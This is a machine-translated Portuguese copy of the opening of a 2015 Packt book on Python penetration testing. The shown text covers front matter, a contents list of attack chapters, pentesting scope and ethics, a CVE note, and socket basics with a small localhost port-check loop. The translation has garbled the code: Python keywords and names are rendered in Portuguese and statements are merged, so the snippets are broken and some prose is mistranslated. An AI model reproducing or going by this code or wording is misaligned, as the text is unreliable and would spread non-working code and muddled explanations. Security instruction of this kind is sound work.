Python Penetração

Python Teste de Invasão
Essentials
Empregar o poder do Python para obter o melhor de

pentesting
Mohit
BIRMINGHAM - MUMBAI
Python Teste de Invasão Essentials
Copyright © 2015 Packt Publishing
Todos os direitos reservados. Nenhuma parte deste livro pode ser reproduzida, armazenada em um sistema de
recuperação ou transmitida de qualquer forma ou por qualquer meio, sem a prévia autorização por escrito do
editor, exceto no caso de breves citações incorporadas em artigos ou críticas.
Todos os esforços foram feitos na preparação deste livro para garantir a precisão das informações
apresentadas. No entanto, a informação contida neste livro é vendido sem garantia, expressa ou implícita.
Nem o autor, nem Packt Publishing, e os seus revendedores e distribuidores serão responsáveis por
quaisquer danos causados ou supostamente causados direta ou indiretamente por este livro. Packt Publishing
tem se esforçado para fornecer informações marca sobre todas as empresas e produtos mencionados neste
livro através da utilização adequada de capitais. No entanto, Packt Publishing não pode garantir a precisão
das informações.
Publicado pela primeira vez: janeiro 2015
de referência de produção: 1220115
Publicado por Packt Publishing Ltd. Livery Lugar
35 Livery Rua Birmingham B3 2PB, Reino
Unido. ISBN 978-1-78439-858-3
www.packtpub.com
créditos
Autor Coordenador de projeto
Mohit Neha Bhatnagar
revisores revisores
Milinda Perera Ameesha Verde
Rejah Rehim Ishbir Kevin McGowan
Singh
indexadores
editor de comissionamento
Rekha Nair
Sarah Crofton Tejal Soni
editor de aquisição Gráficos

Sonali Vernekar Sheetal Aute
Editor de Desenvolvimento de Conteúdo Coordenador de produção
Merwyn D'souza Shantanu N. Zagade
Os editores técnicos Trabalho tampa
Vivek Arora Shantanu N. Zagade
Indrajit A. Das
copie Editors
Karuna Narayanan
Alfida Paiva
Sobre o autor
Mohit ( também conhecido como Mohit Raj) é um desenvolvedor de aplicativos e programador Python, com um
grande interesse no campo da segurança da informação. Ele fez seu Bacharelado em Tecnologia em ciência da
computação pela Universidade de Kurukshetra, Kurukshetra, e Mestre em Engenharia (2012) em ciência da
computação pela Universidade de Thapar, Patiala. Ele escreveu uma tese bem como um trabalho de pesquisa sobre
o seqüestro de sessão, com o nome ANÁLISE COMPARATIVA DE seqüestro de sessão em sistemas operacionais
diferentes, sob a orientação do Dr. Maninder Singh. Ele também fez o CCNA e claro Hacking ético certificado da
EC-Council (CEH) e tem adquirido uma certificação CEH. Ele publicou seu artigo, Como desativar ou alterar a
assinatura web-servidor, na revista eForensics em dezembro de 2013. Ele publicou outro artigo sobre pirataria sem
fio, chamado Cuidado: a sua fácil de lançar um Desautenticação Ataque sem fio! dentro Open Source para você em
julho de 2014. Ele também é um certificado Analista de Segurança Certified (ECSA). Ele tem trabalhado na IBM
Índia há mais de 2 anos. Ele também é um freelance treinador profissional para CEH e Python no CODEC Networks.
Além disso, ele está familiarizado com o Red Hat e CentOS Linux, em grande medida, e também tem um monte de
experiência prática da Red Hat. Ele pode ser contatado em mohitraj.cs@gmail.com.
Primeiro de tudo, sou grato ao Todo-Poderoso por me ajudar a completar este livro. Eu
gostaria de agradecer a minha mãe por seu amor e apoio encorajador, e meu pai para me
levantar em uma casa com desktops e laptops. Um grande obrigado a meu professor,
guia tese, e hacking trainer, Dr. Maninder Singh, por sua grande ajuda. Eu gostaria de
agradecer ao meu amigo, Bhaskar Das, para fornecer-me com suporte de hardware. Eu
também gostaria de agradecer a todos que contribuíram para a publicação deste livro,
incluindo a editora, especialmente os revisores técnicos e também os editores Merwyn
D'souza e Sonali Vernekar, por me fazer rir de meus próprios erros. Por último, mas não
menos importante, eu sou grato ao meu laptop i7, sem o qual não teria sido possível
escrever este livro.
Sobre os revisores
Milinda Perera é um engenheiro de software do Google. Ele tem uma paixão para a concepção e implementação de
soluções para os desafios de engenharia de software interessantes. Anteriormente, ele também trabalhou como estagiário de
engenharia de software do Google. Ele recebeu seu PhD, graus MPhil, mestrado e bacharelado em ciência da computação
da Universidade da Cidade de Nova York. Como um candidato PhD, publicou artigos sobre áreas de pesquisa tais como
fundações de criptografia, criptografia de transmissão, esteganografia, armazenamento em nuvem seguro e segurança de
rede sem fio.
Eu gostaria de agradecer a Alex Perry, o meu favorito Pythoneer, por ser um mentor, awesome!
Rejah Rehim é atualmente um engenheiro de software com o Grupo Digital Marca (DBG), na Índia, e é um
defensor de longa data de código aberto. Ele é um colaborador constante à Fundação Mozilla, e seu nome tem
sido destaque no Monumento San Francisco feita pela Mozilla Foundation.
Ele é uma parte do Mozilla Add-on Review Board e tem contribuído para o desenvolvimento de vários módulos do nó.
Ele também foi creditado com a criação de oito extras da Mozilla, incluindo o grande sucesso Limpar Console Add-on,
que foi selecionado como um dos melhores extras da Mozilla de 2013. Com uma base de usuários de mais de
44.000, ele registrou mais de 450.000 downloads. Ele criou com sucesso o primeiro pacote do mundo one-of-a-kind
de segurança de teste do navegador, PenQ, que é uma penetração pacote navegador testes baseados em Linux de
código aberto, pré-configurado com ferramentas para spidering, avançado busca na internet, impressões digitais, e
assim por diante .
Rejah também é um membro ativo da OWASP eo líder capítulo do OWASP, Kerala. Ele também é um dos
moderadores do grupo OWASP Google+ e um alto-falante ativo em Coffee @ DBG, um dos mais importante
encontro tecnologia mensal em Technopark, Kerala. Tendo sido uma parte de QBurst no passado e uma
parte da divisão de Segurança Cibernética de DBG agora, Rejah também é um fã de automação de
processos, e implementou-lo em DBG.
Ishbir Singh é um calouro estudar engenharia elétrica e ciência da computação no Instituto de Tecnologia da Geórgia.
Ele tem sido programação desde que ele tinha 9 anos e construiu uma ampla variedade de software, desde aqueles feitos
para rodar em uma calculadora para aqueles destinados para a implantação em vários centros de dados ao redor do
mundo. Treinado como engenheiro de sistemas Microsoft Certified com a idade de 10, ele também se interessou por
engenharia reversa, segurança da informação, programação de hardware, e desenvolvimento web. Seus interesses atuais
mentir no desenvolvimento de sistemas desconfiado peer-to-peer criptográficas, polimento suas habilidades de teste de
penetração, aprender novas línguas (tanto humanos e computador), e jogar ténis de mesa.
www.PacktPub.com
os arquivos de suporte, ebooks, ofertas de desconto, e mais

Para os arquivos de suporte e downloads relacionados ao seu livro, visite www.PacktPub.com.
Você sabia que Packt oferece versões do eBook de cada livro publicado, com arquivos PDF e ePub disponíveis?
Você pode atualizar para a versão eBook em www.PacktPub.com
e como um cliente livro impresso, você tem direito a um desconto na cópia eBook. Entrar em contato com a gente no service@packtpub.com
para mais detalhes. em www.PacktPub.com, você também pode ler uma coleção de artigos técnicos gratuitos, inscrever-se
para uma série de boletins de notícias livres e receber descontos e ofertas exclusivas em livros e eBooks Packt.
TM
https://www2.packtpub.com/books/subscription/packtlib
Você precisa de soluções imediatas às suas perguntas de TI? PacktLib é uma biblioteca digital de livros on-line de Packt.
Aqui, você pode pesquisar, acessar e ler toda a biblioteca de livros de Packt.
Por que se inscrever?

• Totalmente pesquisável através de cada livro publicado por Packt
• conteúdo de copiar e colar, imprimir e marcador

• Na demanda e acessível através de um navegador web
Acesso gratuito para os titulares da conta Packt

Se você tem uma conta com Packt na www.PacktPub.com, você pode usar isso para acessar PacktLib hoje e
visualizar 9 livros inteiramente livres. Basta usar suas credenciais de login para acesso imediato.
Índice
Prefácio 1
Capítulo 1: Python com testes de penetração e Networking 5
Apresentando o escopo da pentesting 6
A necessidade de pentesting 6
Componentes a serem testados 7
Qualidades de um bom pentester 7
Definindo o escopo de pentesting 8
Abordagens para pentesting 8
Apresentando Python scripting 9
Compreender os testes e ferramentas que você precisa 10
Aprender as plataformas de testes comuns com Python 10
sockets de rede 10
métodos de soquete servidor 11
métodos de soquete cliente 12
Métodos gerais de soquete 12
Passando para a prática 13
exceções soquete 20
Tomada métodos úteis 22
Resumo 27
Capítulo 2: Digitalizando pentesting 29
Como verificar os sistemas vivos, em uma rede e o conceito de um sistema
vivo 30
Ping varredura 30
O conceito de varredura TCP e sua implementação usando um script Python 34
Como criar um scanner de IP eficiente 37
Índice
Quais são os serviços em execução na máquina de destino? 44

O conceito de um scanner de porta 44
Como criar um scanner de porta eficiente 47
Resumo 56
Capítulo 3: sniffing e Teste de Invasão 57
Apresentando um sniffer de rede 58
sniffing passiva 58
sniffing ativa 58
A implementação de um sniffer de rede usando Python 58
caracteres de formato 60
Aprender sobre pacote de artesanato 70
Apresentando ARP spoofing e implementá-la usando Python 70
O pedido ARP 71
A resposta ARP 71
O cache ARP 71
Testando o sistema de segurança utilizando elaboração de pacote personalizado e injeção
75
dissociação rede 75
Uma varredura semi-aberto 76
A varredura FIN 80
ACK digitalização bandeira 82
Ping da morte 83
Resumo 84
Capítulo 4: Wireless pentesting 85
constatação SSID sem fio e análise de tráfego sem fio por Python 88
Detectando clientes de um AP 95
ataques sem fio 96
Os deauthentication (deauth) ataques 96
O ataque inundação MAC 98
Como o switch utiliza as tabelas CAM 98
A lógica inundação MAC 100
Resumo 101
[Ii]
Índice
Capítulo 5: Pé de impressão de um servidor web e um aplicativo Web 103 O conceito de impressão

de pé de um servidor web 103
Apresentando a recolha de informação 104
Verificando o cabeçalho HTTP 107
A coleta de informações de um site a partir de SmartWhois pelo analisador
BeautifulSoup 109
agarrando bandeira de um website 114
Endurecimento de um servidor web 116
Resumo 117
Capítulo 6: do lado do cliente e ataques DDoS 119
Apresentando a validação do lado do cliente 119
A adulteração com o parâmetro do lado do cliente com o Python 120
Efeitos do parâmetro adulteração em negócios 125
Apresentando DoS e DDoS 127
única porta IP único 127
porta múltipla IP único 129
porta múltipla IP múltiplos 130
Detecção de DDoS 132
Resumo 134
Capítulo 7: pentesting de SQLI e XSS 135
Introduzindo o ataque injecção SQL 136
Tipos de injeções de SQL 136
injeção de SQL simples 137
injeção de SQL cego 137
Compreender o ataque de injeção SQL por um script Python 137
Aprender sobre cross-site scripting 148
Persistentes ou armazenados XSS 148
Não persistente ou reflectida XSS 148
Resumo 157
Índice 159
[Iii]
Prefácio
Este livro é um guia prático que mostra as vantagens de usar Python para pentesting, com a ajuda de
exemplos de código detalhados. Este livro começa por explorar os conceitos básicos de rede com Python e
então passa para a rede e pentesting sem fio, incluindo a recolha de informação e de ataque. Mais tarde,
nos aprofundarmos cortando a camada de aplicação, onde começamos através da recolha de informações
de um site e, eventualmente, passar para conceitos relacionados com o site de hacking, como parâmetro
adulteração, DDOS, XSS e injeção SQL.
O que este livro cobre

Capítulo 1, Python com testes de penetração e Networking, visa completar os pré-requisitos dos capítulos
seguintes. Este capítulo também discute o soquete e seus métodos. O método do servidor socket define
como criar um servidor simples.
Capítulo 2, Digitalização pentesting, aborda como a digitalização em rede é feito para reunir informações sobre
uma rede, host, e o serviço que estão em execução nos hosts.
Capítulo 3, Sniffing e Teste de Invasão, ensina como realizar fungar activo, como para criar uma camada 4
tubo aspirador, e como realizar camadas 3 e 4 ataques.
Capítulo 4, Sem fio pentesting, ensina quadros sem fio e como obter informação, tais como SSID, BSSID, e o
número de canal a partir de uma moldura sem fios utilizando um script Python. Neste tipo de ataque, você vai
aprender a realizar ataques pentesting no AP.
Capítulo 5, Pé de impressão de um servidor web e um aplicativo da Web, ensina a importância de uma assinatura
servidor web, e por conhecer a assinatura do servidor é o primeiro passo em hacking.
Capítulo 6, Do lado do cliente e ataques DDoS, ensina validação do lado do cliente, bem como a forma de contornar a validação
do lado do cliente. Este capítulo abrange a implantação de quatro tipos de ataques DDoS.
Prefácio
Capítulo 7, Pentesting de SQLI e XSS, abrange dois grandes ataques web, injeção SQL e XSS. Na injeção de SQL, você vai
aprender como encontrar a página de login de administrador utilizando um script Python.
O que você precisa para este livro

Você vai precisar de ter o Python 2.7, Apache 2.x, RHEL 5.0 ou CentOS 5.0, e Kali Linux.
Que este livro é para

Se você é um programador Python ou um pesquisador de segurança que tem conhecimento básico de programação
Python e quer aprender sobre testes de penetração com a ajuda de Python, este livro é ideal para você. Mesmo se você
é novo para o campo de hacking ético, este livro pode ajudá-lo a encontrar as vulnerabilidades em seu sistema para que
você está pronto para enfrentar qualquer tipo de ataque ou intrusão.
Convenções
Neste livro, você vai encontrar uma série de estilos de texto que distinguem entre diferentes tipos de
informação. Aqui estão alguns exemplos desses estilos e uma explicação do seu significado.
palavras de código em texto, nomes de tabelas de banco de dados, nomes de pastas, nomes de arquivos, extensões de arquivos,
caminhos, URLs manequim, a entrada do usuário, e alças Twitter são apresentados da seguinte forma: "A parte superior faz um
dicionário usando o AF_, SOCK_, e IPPROTO_ . prefixos que mapeiam o número de protocolo para seus nomes" Um bloco de código é
definido da seguinte forma:
importação tomada rmip =

'127.0.0.1'
portlist = [22,23,80,912,135,445,20]
para a porta em portlist:

meia = socket.socket (socket.AF_INET, socket.SOCK_STREAM) result = sock.connect_ex
((rmip, porta)) porta de impressão, ":", resultam sock.close ()
[2]
Prefácio
Qualquer entrada de linha de comando ou de saída é escrito da seguinte forma:
> > > Dict ((GetAttr (tomada, n), n) para n na dir (tomada) se
n.startswith ( 'AF_'))
{0: 'AF_UNSPEC', 2: 'AF_INET', 6: 'AF_IPX', 11: 'AF_SNA', 12: 'AF_ DECnet', 16: 'AF_APPLETALK', 23:
'AF_INET6', 26: 'AF_IRDA'}
novos termos e palavras importantes são mostradas em negrito. Palavras que você vê na tela, por
exemplo, em menus ou caixas de diálogo, aparecem no texto assim: "O
Destino e Fonte endereços são os endereços Ethernet geralmente citado como uma seqüência de 6 bytes
".
Avisos ou notas importantes aparecem em uma caixa como esta.
Dicas e truques aparecer assim.
feedback do leitor
O feedback dos nossos leitores é sempre bem-vindo. Deixe-nos saber o que você pensa sobre este livro, o que você
gostou ou não. feedback do leitor é importante para nós, pois nos ajuda a desenvolver títulos que você vai realmente
tirar o máximo proveito de. Para enviar-nos um feedback geral, simplesmente e-mail feedback@packtpub.com, e
mencionar o título do livro no assunto da mensagem.
Se há um tema que você tem experiência em e você está interessado em qualquer escrito ou contribuindo para
um livro, consulte o nosso guia autor em www.packtpub.com/authors.
Suporte ao cliente
Agora que você é o proprietário orgulhoso de um livro de Packt, temos uma série de coisas para ajudá-lo a obter
o máximo de sua compra.
Baixando o código exemplo

Você pode baixar os arquivos de código de exemplo a partir de sua conta em http: // www. packtpub.com para
todos os livros Packt Publishing que você comprou. Se você comprou este livro em outro lugar, você pode
visitar http://www.packtpub.com/support
e se registrar para ter os arquivos diretamente para você por e-mail.
[3]
Prefácio
errata
Embora tenhamos tomado todos os cuidados para garantir a precisão de nosso conteúdo, erros acontecem. Se
você encontrar um erro em um dos nossos livros, talvez um erro no texto ou o código-ficaríamos muito gratos se
você pudesse relatar isso para nós. Ao fazer isso, você pode salvar outros leitores de frustração e nos ajudar a
melhorar versões posteriores deste livro. Se você encontrar qualquer errata, por favor informe-los visitando http://www.packtpub.com/
submeter-errata, seleção de seu livro, clicando no Errata Formulário de Apresentação link, e inserindo os detalhes
da sua errata. Uma vez que seu errata são verificados, a sua apresentação será aceito ea errata será enviado
para o nosso site ou adicionado a qualquer lista de errata existente na seção Errata desse título. Para visualizar a
errata apresentado anteriormente, acesse https://www.packtpub.com/books/ conteúdo / suporte e digite o nome do livro
no campo de pesquisa. A informação irá aparecer sob o errata seção.
Pirataria
A pirataria de material protegido por direitos autorais na internet é um problema constante em todas as mídias. No Packt,
tomamos a proteção de nossos direitos autorais e licenças muito a sério. Se você se deparar com quaisquer cópias ilegais
de nossos trabalhos em qualquer formulário na Internet, por favor nos fornecer o endereço de localização ou nome do site
imediatamente para que possamos buscar um remédio. Entre em contato conosco copyright@packtpub.com com um link para o
material pirateado suspeita.
Agradecemos a sua ajuda na proteção de nossos autores e nossa capacidade de trazer-lhe um conteúdo valioso.
Questões
Se você tiver um problema com qualquer aspecto deste livro, você pode contactar-nos em
questions@packtpub.com, e faremos o nosso melhor para resolver o problema.
[4]
Python com testes de
penetração e Networking
Penetração (PEN) testador e hackers são termos semelhantes. A diferença é que os testadores de penetração trabalhar
para uma organização para evitar tentativas de hacking, enquanto hackers cortar para qualquer finalidade, como fama,
vendendo vulnerabilidade para dinheiro, ou para explorar a vulnerabilidade para a inimizade pessoal.
Lotes de hackers bem treinados tem trabalhos no campo da segurança da informação por invadir um sistema e,
em seguida, informando a vítima do erro (s) de segurança para que eles possam ser corrigidos.
Um hacker é chamado de um testador de penetração quando trabalham para uma organização ou empresa para
assegurar o seu sistema. A pentester realiza hackers tentativas de quebrar a rede depois de obter aprovação legal do
cliente e, em seguida, apresenta um relatório das suas descobertas. Para se tornar um especialista em pentesting,
uma pessoa deve ter conhecimento profundo dos conceitos de sua tecnologia. Neste capítulo, vamos abordar os
seguintes tópicos:
• O âmbito de aplicação do pentesting
• A necessidade de pentesting
• Componentes a serem testados
• Qualidades de um bom pentester
• Abordagens de pentesting
• Compreender os testes e ferramentas que você precisa
• sockets de rede
• métodos de soquete servidor
• métodos de soquete cliente

Python com testes de penetração e Networking
• Métodos gerais de soquete
• Exemplos práticos de soquetes
• exceções soquete
• Tomada métodos úteis
Apresentando o escopo da pentesting

Em palavras simples, teste de penetração é testar as medidas de uma empresa de segurança da informação.
medidas de segurança da informação implica uma empresa de rede, banco de dados, website, servidores virado
pública, políticas de segurança e tudo o mais especificado pelo cliente. No final do dia, um pentester deve
apresentar um relatório detalhado de suas descobertas, tais como fraqueza, vulnerabilidade na infraestrutura da
empresa, e o nível de risco de particular vulnerabilidade e fornecer soluções se possível.
A necessidade de pentesting
Há vários pontos que descrevem o significado da pentesting:
• Pentesting identifica as ameaças que possam expor a confidencialidade de uma

organização
• pentesting especialista fornece uma garantia para a organização com uma avaliação completa e
detalhada de segurança organizacional
• Pentesting avalia a eficiência da rede, produzindo grande quantidade de tráfego e examina a

segurança de dispositivos, tais como firewalls, roteadores e switches
• Alterar ou atualizar a infra-estrutura existente de software, hardware, ou projeto de rede pode

levar a vulnerabilidades que podem ser detectados por pentesting
• No mundo de hoje, as ameaças potenciais estão a aumentar significativamente; pentesting é um exercício

pró-ativa para minimizar a chance de ser explorado
• Pentesting garante se as políticas de segurança adequados estão sendo seguidos ou não
Considere um exemplo de uma empresa de e-commerce bem reputado que ganha dinheiro com negócios
online. Um hacker ou grupo de hackers de chapéu preto encontrar uma vulnerabilidade no site da empresa e
cortá-lo. A quantidade de perda, a empresa terá de suportar será enorme.
[6]
Capítulo 1
Componentes a serem testados

Uma organização deve realizar uma operação de avaliação de risco antes pentesting; isso vai ajudar a identificar as
principais ameaças como a configuração incorreta ou vulnerabilidade em:
• Routers, interruptores, comutadores, ou gateways
• sistemas voltados ao público; websites, servidores DMZ, e-mail e sistemas remotos
• DNS, firewalls, servidores proxy, servidores FTP e web
O teste deve ser realizado em todos os componentes de um sistema de segurança de rede de hardware e software.
Qualidades de um bom pentester

Os pontos seguintes descrevem as qualidades de uma boa pentester. Eles deviam:
• Escolha um conjunto adequado de testes e ferramentas que o equilíbrio de custos e benefícios
• Siga os procedimentos adequados, com planejamento e documentação adequada
• Estabelecer o âmbito de cada teste de penetração, tais como os objectivos, as limitações e a justificação
de procedimentos
• Esteja pronto para mostrar como explorar as vulnerabilidades
• Indicar os riscos e resultados potenciais claramente no relatório final e fornecer métodos para
mitigar o risco, se possível
• Manter-se atualizado em todos os momentos, porque a tecnologia está avançando

rapidamente
A pentester testa a rede utilizando técnicas manuais ou as ferramentas relevantes. Há muitas ferramentas disponíveis
no mercado. Alguns deles são de código aberto e alguns deles são muito caros. Com a ajuda de programação, um
programador pode fazer suas próprias ferramentas. Ao criar suas próprias ferramentas, você pode limpar os seus
conceitos e também realizar mais R & D. Se você está interessado em pentesting e quer fazer suas próprias
ferramentas, a linguagem de programação Python é o melhor, como extensas e livremente disponíveis pacotes
pentesting estão disponíveis em Python, além de sua facilidade de programação. Esta simplicidade, juntamente com
as bibliotecas de terceiros, tais como scapy e mecanizar, reduz o tamanho do código. Em Python, para fazer um
programa, você não precisa definir grandes classes como Java. É mais produtivo para escrever código em Python do
que em
C, e bibliotecas de alto nível estão facilmente disponíveis para virtualmente qualquer tarefa que se possa imaginar. Se você conhece
alguma programação em Python e está interessado em pentesting este livro é ideal para você.
[7]
Definindo o escopo de pentesting

Antes de entrar em pentesting, deve ser definido o alcance do pentesting. Os seguintes pontos
devem ser levados em conta ao definir o escopo:
• Você deve desenvolver o escopo do projeto em consulta com o cliente. Por exemplo, se Bob (o
cliente) quer testar toda a infra-estrutura de rede da organização, em seguida, pentester Alice iria
definir o escopo de pentesting tomando esta rede em conta. Alice vai consultar Bob sobre se
quaisquer áreas sensíveis ou restritos deve ser incluído ou não.
• Você deve levar em conta o tempo, pessoas e dinheiro.
• Você deve perfil dos limites de teste com base em um acordo assinado pelo pentester eo cliente.
• Mudanças na prática de negócios pode afetar o escopo. Por exemplo, a adição de uma sub-rede, instalações de
novos componentes do sistema, a adição ou modificação de um servidor web, e assim por diante, pode alterar o
escopo de pentesting. O âmbito de aplicação do pentesting é definida em dois tipos de ensaios:
• Um teste não destrutivo: Este teste é limitado a encontrar e realização dos testes, sem quaisquer
riscos potenciais. Ele executa as seguintes ações:
° Varreduras e identifica o sistema remoto para potenciais vulnerabilidades
° Investiga e verifica os resultados
° Mapeia as vulnerabilidades com exploits adequadas
° Explora o sistema remoto com o cuidado adequado para evitar a interrupção
° Fornece uma prova de conceito
° não tentar uma Denial-of-Service (DoS) ataque
• Um teste destrutivo: Este teste pode produzir riscos. Ele executa as seguintes
ações:
° As tentativas de DoS e estouro de buffer de ataques, que têm a

potencial para derrubar o sistema
Abordagens para pentesting

Existem três tipos de abordagens para pentesting:
• Caixa-preta pentesting segue abordagem não-determinista de testes
° Você será dado apenas um nome de empresa
° É como cortar com o conhecimento de um atacante fora
[8]
Capítulo 1
° Não há necessidade de qualquer conhecimento prévio do sistema
° É demorado,
• Caixa-branca pentesting segue abordagem determinística de testes
° Você será dado conhecimento completo da infra-estrutura que

precisa ser testado
° Isto é como trabalhar como um funcionário malicioso que tem amplo

conhecimento da infra-estrutura da empresa
° Você será fornecido informações sobre a infra-estrutura da empresa,

Tipo de rede, políticas da empresa, fazer e não fazer, o endereço IP, eo firewall IPS /
IDS
• Cinzento-caixa pentesting seguinte abordagem híbrido de teste de caixa preta e branca
° O testador normalmente tem informações limitadas sobre a rede de destino /

sistema que é fornecido pelo cliente para reduzir custos e diminuir tentativa e erro por
parte do pentester
° Ele executa a avaliação de segurança e testar internamente
Apresentando Python scripting

Antes de começar a ler este livro, você deve saber o básico de programação Python, tais como a sintaxe básica,
tipo de variável, tipo de dados tuple, lista dicionário, funções, cordas, métodos, e assim por diante. Duas versões,
3.4 e 2.7.8, estão disponíveis em
python.org/downloads/.
Neste livro, todas as experiências e demonstração ter sido feito em Python 2.7.8 Versão. Se você usa Linux OS,
como Kali ou BackTrack, então não haverá nenhum problema, porque muitos programas, como sniffing
wireless, não funcionam na plataforma Windows. Kali Linux também usa a versão 2.7. Se você gosta de
trabalhar na Red Hat ou CentOS, então esta versão é adequada para você.
A maioria dos hackers escolher esta profissão porque eles não querem fazer a programação. Eles querem usar
ferramentas. No entanto, sem programação, um hacker pode não melhorar as habilidades His2. Toda vez, eles têm
que procurar as ferramentas através da Internet. Acredite em mim, depois de ver a sua simplicidade, você vai adorar
este idioma.
[9]
Compreender os testes e ferramentas que você

precisa
Como você deve ter visto, este livro é dividido em sete capítulos. Para realizar a digitalização e cheirando pentesting,
você vai precisar de uma pequena rede de dispositivos conectados. Se você não tem um laboratório, você pode fazer
as máquinas virtuais em seu computador. Para a análise de tráfego sem fio, você deve ter uma rede sem fio. Para
realizar um ataque web, você precisará de um servidor Apache em execução na plataforma Linux. Vai ser uma boa
idéia usar CentOS ou Red Hat Versão 5 ou 6 para o servidor web, porque este contém o RPM de Apache e PHP.
Para o script Python, vamos usar a ferramenta Wireshark, que é open source e pode ser executado em Windows,
bem como plataformas Linux.
Aprender as plataformas de testes comuns com

Python
Agora você irá realizar pentesting; Eu espero que você esteja bem familiarizado com os fundamentos de rede,
como endereços IP, sub-redes classful, sub-redes sem classes, o significado de portas, endereços de rede e
endereços de transmissão. A pentester deve ser perfeito em fundamentos de rede, bem como, pelo menos em um
sistema operacional; se você está pensando em usar Linux, então você está no caminho certo. Neste livro, vamos
executar nossos programas no Windows, bem como Linux. Neste livro, o Windows, CentOS, e Kali Linux será
usado.
Um hacker sempre gosta de trabalhar em um sistema Linux. Pois é livre e de código aberto, Kali Linux marca o
renascimento do BackTrack e é como um arsenal de ferramentas de hacking. Kali Linux NetHunter é a primeira
penetração Android plataforma de testes de código aberto para dispositivos Nexus. No entanto, algumas ferramentas de
trabalho em Linux e Windows, mas no Windows, você tem que instalar essas ferramentas. Espero que você tenha
conhecimento de Linux. Agora, é hora de trabalhar com redes em Python.
sockets de rede
Um endereço de socket de rede contém um número de endereço IP e porta. De uma forma muito simples, um soquete é uma
maneira de falar com outros computadores. Por meio de uma tomada, um processo pode se comunicar com outro processo
através da rede.
[10]
Capítulo 1
A fim de criar um socket, use o socket.socket () função que está disponível no módulo socket. A sintaxe geral de
uma função de encaixe é a seguinte:
s = socket.socket (socket_family, socket_type, protocolo = 0)
Aqui está a descrição dos parâmetros:
socket_family: socket.AF_INET, PF_PACKET
AF_INET é a família de endereços de IPv4. PF_PACKET opera na camada de controlador de dispositivo. A biblioteca
pcap para Linux utiliza PF_PACKET. Você verá mais detalhes sobre
PF_PACKET dentro Capítulo 3, Sniffing e Teste de Invasão. Esses argumentos representam as famílias de endereços
e o protocolo da camada de transporte:
Socket_type: socket.SOCK_DGRAM, socket.SOCK_RAW, socket.SOCK_STREAM
o socket.SOCK_DGRAM argumento mostra que o UDP não é confiável e sem conexão, e socket.SOCK_STREAM
mostra que o TCP é confiável e é uma de duas vias, serviço baseado na conexão. Discutiremos socket.SOCK_RAW
dentro
Capítulo 3, Sniffing e Teste de Invasão.
protocolo
Geralmente, deixamos este argumento; que leva 0 se não especificado. Veremos o uso deste argumento em Capítulo
3, Sniffing e Teste de Invasão.
métodos de soquete servidor

Em uma arquitetura cliente-servidor, existe um servidor centralizado que fornece o serviço, e muitos clientes
solicitar e receber o serviço do servidor centralizado. Aqui estão alguns métodos que você precisa saber:
• socket.bind (endereço): Este método é utilizado para ligar o endereço (endereço IP, número de
porta) para o socket. A tomada deve ser aberta antes de ligar para o endereço.
• socket.listen (q): Este método inicia o ouvinte TCP. o q argumento define o número máximo de
ligações escalados.
• socket.accept (): O uso deste método é aceitar a conexão do cliente. Antes de utilizar este método, o socket.bind
(endereço) e
socket.listen (q) devem ser utilizados métodos. o socket.accept () método retorna dois valores: client_socket
e endereço, onde client_socket é um novo objeto de soquete usado para enviar e receber dados
através da conexão e endereço é o endereço do cliente. Você vai ver exemplos mais tarde.
[11]
métodos de soquete cliente

O único método dedicado ao cliente é o seguinte:
• Socket.connect (endereço): Este método conecta o cliente para o servidor. o endereço argumento é o
endereço do servidor.
Métodos gerais de soquete

Os métodos de soquete gerais são os seguintes:
• socket.recv (bufsize): Este método recebe uma mensagem TCP da tomada. o bufsize argumento
define o máximo de dados que podem receber a qualquer momento.
• socket.recvfrom (bufsize): Este método recebe os dados da tomada de corrente. O método retorna
um par de valores: o primeiro valor dá os dados recebidos, e o segundo valor dá o endereço do
encaixe de enviar os dados.
• socket.recv_into (tampão): Este método recebe os dados de menos do que ou igual a amortecedor. o amortecedor
parâmetro é criado pelo bytearray () método. Vamos discutir isso em um exemplo mais tarde.
• socket.recvfrom_into (tampão): Este método obtém dados da tomada de corrente e grava na memória
intermédia. O valor de retorno é um par (nbytes, endereço), onde nbytes é o número de bytes
recebidos, e o endereço é o endereço do encaixe de enviar os dados.
Tenha cuidado ao usar o socket.recv from_into (tampão)

método em versões antigas do Python. vulnerabilidade de buffer overflow foi encontrado
neste método. O nome desta vulnerabilidade é CVE-2014-1912, e sua vulnerabilidade foi
publicado em 27 de fevereiro,
2014. Buffer overflow na socket.recvfrom_into função em
Módulos / socketmodule.c em Python 2,5 antes 2.7.7, antes 3.x
3.3.4, e 3.4.x antes 3.4rc1 permite que atacantes remotos para executar código arbitrário através
de uma corda artesanal.
• socket.send (bytes): Este método é usado para enviar dados para o socket. Antes de enviar os
dados, verifique se o socket está conectado a uma máquina remota. Ele retorna o número de
bytes enviados.
[12]
Capítulo 1
• socket.sendto (dados de endereço),: Este método é usado para enviar dados para o socket. Geralmente,
usamos este método em UDP. UDP é um protocolo sem ligação; portanto, a tomada não deve ser
conectado a um computador remoto, e o argumento endereço especifica o endereço da máquina
remota. O valor de retorno indica o número de bytes enviados.
• socket.sendall (dados): Como o nome indica, este método envia todos os dados para o socket. Antes de
enviar os dados, verifique se o socket está conectado a uma máquina remota. Este método
incessantemente transfere dados até que um erro é visto. Se um erro é visto, uma exceção subiria, e socket.close
() iria fechar o socket.
Agora é tempo para a prática; teoria não mais mundano.
Passando para a prática

Primeiro, vamos fazer um programa do lado do servidor que oferece uma conexão com o cliente e envia uma mensagem
para o cliente. Corre server1.py:
tomada de importação
host = "192.168.0.1" porta de endereço #Server = 12345

#Port do Servidor
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.bind ((host, port)) servidor #Prender
s.listen (2)
Conn, addr = s.accept () addr impressão, "Agora Conectado"
conn.send ( "Obrigado por conectar") conn.close ()
O código anterior é muito simples; é o mínimo de código no lado do servidor. Em primeiro lugar, importar o módulo de
tomada e definir o número de acolhimento e porta: 192.168.0.1

é o endereço IP do servidor. Socket.AF_INET define a família do protocolo IPv4.
Socket.SOCK_STREAM define a conexão TCP. o s.bind ((host, port))
declaração tem apenas um argumento. Liga-se a tomada ao número de acolhimento e de porta. o s.listen (2) declaração
escuta a conexão e aguarda o cliente. o
Conn, addr = s.accept () instrução retorna dois valores: Conn e addr. o
Conn soquete é tomada de cliente, como discutimos anteriormente. o conn.send () função envia a mensagem
para o cliente. Finalmente, conn.close () fecha o encaixe. A partir dos seguintes exemplos e imagem, você vai
entender Conn Melhor.
[13]
Esta é a saída do server1.py programa:
G: \ Python \ Networking> server1.py python
